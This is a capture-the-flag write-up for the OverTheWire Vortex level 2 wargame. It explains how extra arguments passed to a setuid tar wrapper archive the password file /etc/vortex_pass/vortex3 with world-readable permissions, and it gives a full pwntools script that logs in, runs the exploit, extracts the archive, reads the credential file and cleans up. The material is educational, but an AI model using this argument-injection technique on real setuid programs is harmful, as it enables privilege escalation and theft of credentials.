Vortex Level 2

This is a solution guide to the Vortex Level 02 at overthewire. This write-up was created on 21 October 2015.

The prompt hints at “create a special tar file”, ok we are going to be working with tar files. Looking at the source code below we see that /bin/tar is executed with execv.

1
2
3
4
5
6
7
8
9
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>

int main(int argc, char **argv)
{
        char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] };
        execv(args[0], args);
}

Lets log into the server and take a look at the permissions vortex2 runs at and the permissions of the password file.

vortex2@melinda:/vortex$ ls -la /vortex/vortex2
-r-sr-x--- 1 vortex3 vortex2 7295 Nov 14  2014 /vortex/vortex2
vortex2@melinda:/vortex$ ls -la /etc/vortex_pass/vortex3
-r-------- 1 vortex3 vortex3 10 Nov 14  2014 /etc/vortex_pass/vortex3

That is good the program runs with vortex3 permissions and the password can be opened by vortex3.

Methodology

  1. Establish connection
  2. Get shell PID
  3. Run program to create tarball with the password inside and be able to open it with the permissions of vortex2
  4. Open tarball and get password
  5. Cleanup

Establish connection

Standard connection used.

from pwn import *
import time

HOST = 'vortex.labs.overthewire.org'
USERNAME = 'vortex2'
PASS = ''

s = ssh(host=HOST, user=USERNAME, password=PASS)

location = "/vortex"
file_name = '%s/vortex2' % location
password_file = '/etc/vortex_pass/vortex3'

Get shell PID

NOTE:Did not need to actually get PID, through testing actually found out that execv does not evaluate $$ like bash does and just processes it as a normal character. I have left this in to show flaw in thought process.

Since it is hard coded that the name of the file will be /tmp/ownership.\$\$.tar; the $$ in the file name is the decimal process ID of the invoked shell

1

shell_pid = s('echo $$')

Run program

The goal is to run this program that creates the tarball but make sure that when created it assigns the permissions of vortex2 instead of the invoking permissions of vortex3. To do this lets look at the man page for tar. Based on the options we should set the –mode with ‘a+rw’

#run the program and ensure the file is written with vortex2 permissions, or atleast can be read
arg1 = "-v"
arg2 = "--mode='a+rw'"
arg3 = password_file
response = s('{0} {1} {2} {3}'.format(file_name, arg1, arg2, arg3))
log.info(response)

Open tarball and get password

  1. Create a location to decompress the files
  2. Read the files
#create a location where we can copy the file and work on it
temp_location = "/tmp/happytimes_{0}".format(random.randint(1,10000))
response = s('mkdir {0}'.format(temp_location))
log.info(response)
response = s("cp '/tmp/ownership.$$.tar' {0}/mine.tar".format(temp_location))
log.info(response)

#decompress the file and read the contents
response = s("tar xvf {0}/mine.tar -C {0}".format(temp_location))
log.info(response)
password = s("cat {0}{1}".format(temp_location,password_file))
log.success('PASSWORD: {0}'.format(password))

Clean up

  1. Remove files created
  2. Clean up environment
#clean up after ourselves
response = s('rm -rf %s' % temp_location)
log.info(response)
response = s("rm '/tmp/ownership.$$.tar'")
log.info(response)

#get rid of any junk from the buffer
s.clean()

Complete Program

from pwn import *

HOST = 'vortex.labs.overthewire.org'
USERNAME = 'vortex2'
PASS = ''

s = ssh(host=HOST, user=USERNAME, password=PASS)

location = "/vortex"
file_name = '%s/vortex2' % location
password_file = '/etc/vortex_pass/vortex3' + chr(0)

#(testing)download source file
#s.download_file(file_name) #download the ELF

#(testing) went down wrong road here thinking that C would actually evaluate $$ as the PID of process running
#shell_pid = s('echo $$')
#log.info('PID: %s' % shell_pid)

#run the program and ensure the file is written with vortex2 permissions, or atleast can be read
arg1 = "-v"
arg2 = "--mode='a+rw'"
arg3 = password_file
response = s('{0} {1} {2} {3}'.format(file_name, arg1, arg2, arg3))
log.info(response)

#create a location where we can copy the file and work on it
temp_location = "/tmp/happytimes_{0}".format(random.randint(1,10000))
response = s('mkdir {0}'.format(temp_location))
log.info(response)
response = s("cp '/tmp/ownership.$$.tar' {0}/mine.tar".format(temp_location))
log.info(response)

#decompress the file and read the contents
response = s("tar xvf {0}/mine.tar -C {0}".format(temp_location))
log.info(response)
password = s("cat {0}{1}".format(temp_location,password_file))
log.success('PASSWORD: {0}'.format(password))

#clean up after ourselves
response = s('rm -rf %s' % temp_location)
log.info(response)
response = s("rm '/tmp/ownership.$$.tar'")
log.info(response)

#get rid of any junk from the buffer
s.clean()

Endnotes

  1. http://superuser.com/questions/247127/what-is-and-in-linux